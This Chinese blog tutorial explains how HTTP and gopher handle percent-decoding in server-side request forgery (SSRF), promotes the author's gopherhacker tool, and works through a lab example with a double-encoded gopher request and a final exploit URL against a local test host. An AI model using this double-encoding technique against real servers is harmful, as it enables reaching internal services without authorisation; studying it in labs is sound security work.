ssrf漏洞中的url编码解码

http协议和gopher协议的编码解码过程

http协议

当我们输入“http://ip:host/xxx”时,浏览器会向ip:host发送http请求。如果“xxx”中含有“%xx”格式的内容,http协议会原封不动地发送给接收方,接收方在提取出参数之后再将参数中的“%xx”解码。

举例来说,如果我们访问“http://127.0.0.1/index.php?a=%26&b=123”,服务器接受到的报文中含有字符串“?a=%26&b=123”,然后服务器提取出参数a是“%26”,参数b是“123”,在提取出参数之后才会对“%xx”的格式进行解码,参数a的值变为“&”。

http协议中,“%xx”解码为对应ascii码字符串的过程发生在接收方。

gopher协议

当我们输入“gopher://ip:host/_xxx”时,如果“xxx”中含有“%xx”格式的内容,会在发送方直接替换为对应的字符。

举例来说,如果我们访问“gopher://ip:host/_%26”,此时向ip:host发送的内容其实是字符“&”,服务器接收到的字符就是“&”,而不是“%26”。

gopher协议中,“%xx”解码为对应ascii码字符串的过程发生在发送方。

以服务器的身份发送http协议

假如我们的攻击机为主机A,被攻击的服务器为主机B,我们希望利用主机B访问的web服务运行在主机C上,主机B的ssrf漏洞url为“http://ipB/?url=”,如何构造url能够访问主机C的“http://ipC”网址,并向它发送值为“&”的参数param呢?

我们理一下这其中的编码解码过程:

假如我们希望输入“http://ipB/?url=ans”来访问主机C,该url发送给主机B时,ans作为参数被取出,其中的“%xx”会被替换为对应的字符,然后主机B用该url访问主机C。

我们首先假定自己是主机B,发送给主机C的url应该是:“http://ipC?param=%26”(0x26是“&”的ascii码),根据上面的编码解码分析可知,这是在“%xx”被替换过一次的结果,如果我们直接发送“http://ipB/?url=http://ipC?param=%26”,则主机B实际发送给主机C的内容是“http://ipC?param=&”,并不能将“&”的值传递给param。所以我们发送给主机B的应该是“http://ipC?param=%2526”(0x25是“%”的ascii码),在主机B处被解析为“http://ipC?param=%26”并发送给主机C,总的url就是:“http://ipB/?url=http://ipC?param=%2526”。

总结一句话解决方案:先假想自己是主机B,构造直接给主机C发送的url,然后将url中的所有“%”替换为“%25”。

以服务器的身份发送gopher协议

问题基本同上,添加条件:假设现在主机B不能发送http协议,我们只能利用gopher协议模拟http协议访问主机C。

我们再来理一下这其中的编码解码过程:

假如我们希望输入“http://ipB/?url=ans”来访问主机C,该url发送给主机B时,ans作为参数被取出,其中的“%xx”会被替换为对应的字符,然后主机B用该url访问主机C,该url是gopher协议的url,所以主机B这里会再次将“%xx”替换为对应的字符然后再发送给主机C。

还是假设自己是主机B,构造和http请求等效的gopher协议请求,具体方式是将http报文中的所有字符替换为“%xx”的格式,这样在主机B发送时就会把所有“%xx”替换为对应字符,主机B向主机C发送的内容就和使用http协议发送的内容一样了。同上面的分析,这段内容实际上是主机B在将主机A发送给它的内容中的“%xx”解码得到的,所以我们发送给主机B的内容应该是前面得到的、等效gopher协议中的所有“%”替换为“%25”的字符串。

总结一句话解决方案:假设自己是主机B,构造和http请求等效的gopher协议请求,然后将其中的“%”替换为“%25”。

gopherhacker工具

我写了一个工具gopherhacker,可以很方便地构造和http等效的gopher协议请求,地址是:

  • github:https://github.com/lesion1999/gopherhacker
  • gitee:https://gitee.com/lesion1999/gopherhacker

来实战一次

ssrf利用网址:http://192.168.153.133/test2.php?url=

希望利用ssrf访问的网址:http://192.168.153.133/test1.php?param=

假如我们希望利用第一个网址通过gopher协议发送给第二个网址参数“val&ue”。

首先假定我们是主机B,此时我们希望发送的内容就是:http://192.168.153.133/test1.php?param=val%26ue,不过我们并不能发送gopher协议,所以在浏览器中输入该网址并使用burpsuite截取访问报文为:

GET /test1.php?param=val%26ue HTTP/1.1
Host: 192.168.153.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

将其内容存在文本文件httpmessage中,调用gopherhacker构造等效的gopher协议url:

┌──(lesion㉿kali)-[~/Desktop]
└─$ gopherhacker httpmessage 
gopher://<ip>:<port>/_%47%45%54%20%2f%74%65%73%74%31%2e%70%68%70%3f%70%61%72%61%6d%3d%76%61%6c%25%32%36%75%65%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%33%2e%31%33%33%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%58%31%31%3b%20%4c%69%6e%75%78%20%78%38%36%5f%36%34%3b%20%72%76%3a%37%38%2e%30%29%20%47%65%63%6b%6f%2f%32%30%31%30%30%31%30%31%20%46%69%72%65%66%6f%78%2f%37%38%2e%30%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%2a%2f%2a%3b%71%3d%30%2e%38%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%65%6e%2d%55%53%2c%65%6e%3b%71%3d%30%2e%35%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a

现在我们获取到了主机B应该发送给主机C的内容,这个内容是我们要发送的内容经过一次“%xx”替换为对应字符之后的结果,所以我们要发送的内容应该是将其中的所有“%”替换为“%25”:

gopher://<ip>:<port>/_%2547%2545%2554%2520%252f%2574%2565%2573%2574%2531%252e%2570%2568%2570%253f%2570%2561%2572%2561%256d%253d%2576%2561%256c%2525%2532%2536%2575%2565%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2539%2532%252e%2531%2536%2538%252e%2531%2535%2533%252e%2531%2533%2533%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%254d%256f%257a%2569%256c%256c%2561%252f%2535%252e%2530%2520%2528%2558%2531%2531%253b%2520%254c%2569%256e%2575%2578%2520%2578%2538%2536%255f%2536%2534%253b%2520%2572%2576%253a%2537%2538%252e%2530%2529%2520%2547%2565%2563%256b%256f%252f%2532%2530%2531%2530%2530%2531%2530%2531%2520%2546%2569%2572%2565%2566%256f%2578%252f%2537%2538%252e%2530%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%2574%2565%2578%2574%252f%2568%2574%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%2568%2574%256d%256c%252b%2578%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%256d%256c%253b%2571%253d%2530%252e%2539%252c%2569%256d%2561%2567%2565%252f%2577%2565%2562%2570%252c%252a%252f%252a%253b%2571%253d%2530%252e%2538%250d%250a%2541%2563%2563%2565%2570%2574%252d%254c%2561%256e%2567%2575%2561%2567%2565%253a%2520%2565%256e%252d%2555%2553%252c%2565%256e%253b%2571%253d%2530%252e%2535%250d%250a%2541%2563%2563%2565%2570%2574%252d%2545%256e%2563%256f%2564%2569%256e%2567%253a%2520%2567%257a%2569%2570%252c%2520%2564%2565%2566%256c%2561%2574%2565%250d%250a%2543%256f%256e%256e%2565%2563%2574%2569%256f%256e%253a%2520%2563%256c%256f%2573%2565%250d%250a%2555%2570%2567%2572%2561%2564%2565%252d%2549%256e%2573%2565%2563%2575%2572%2565%252d%2552%2565%2571%2575%2565%2573%2574%2573%253a%2520%2531%250d%250a

这一步你可以直接用vscode打开然后ctrl f搜索“%”,用“%25”替换。

于是我们最终构造的url就是:

http://192.168.153.133/test2.php?url=gopher://192.168.153.133:80/_%2547%2545%2554%2520%252f%2574%2565%2573%2574%2531%252e%2570%2568%2570%253f%2570%2561%2572%2561%256d%253d%2576%2561%256c%2525%2532%2536%2575%2565%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2539%2532%252e%2531%2536%2538%252e%2531%2535%2533%252e%2531%2533%2533%250d%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%254d%256f%257a%2569%256c%256c%2561%252f%2535%252e%2530%2520%2528%2558%2531%2531%253b%2520%254c%2569%256e%2575%2578%2520%2578%2538%2536%255f%2536%2534%253b%2520%2572%2576%253a%2537%2538%252e%2530%2529%2520%2547%2565%2563%256b%256f%252f%2532%2530%2531%2530%2530%2531%2530%2531%2520%2546%2569%2572%2565%2566%256f%2578%252f%2537%2538%252e%2530%250d%250a%2541%2563%2563%2565%2570%2574%253a%2520%2574%2565%2578%2574%252f%2568%2574%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%2568%2574%256d%256c%252b%2578%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%256d%256c%253b%2571%253d%2530%252e%2539%252c%2569%256d%2561%2567%2565%252f%2577%2565%2562%2570%252c%252a%252f%252a%253b%2571%253d%2530%252e%2538%250d%250a%2541%2563%2563%2565%2570%2574%252d%254c%2561%256e%2567%2575%2561%2567%2565%253a%2520%2565%256e%252d%2555%2553%252c%2565%256e%253b%2571%253d%2530%252e%2535%250d%250a%2541%2563%2563%2565%2570%2574%252d%2545%256e%2563%256f%2564%2569%256e%2567%253a%2520%2567%257a%2569%2570%252c%2520%2564%2565%2566%256c%2561%2574%2565%250d%250a%2543%256f%256e%256e%2565%2563%2574%2569%256f%256e%253a%2520%2563%256c%256f%2573%2565%250d%250a%2555%2570%2567%2572%2561%2564%2565%252d%2549%256e%2573%2565%2563%2575%2572%2565%252d%2552%2565%2571%2575%2565%2573%2574%2573%253a%2520%2531%250d%250a

如果主机B可以使用http协议的话,那么我们构造的url就是:http://192.168.153.133/test2.php?url=http://192.168.153.133/test1.php?param=val%2526ue

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值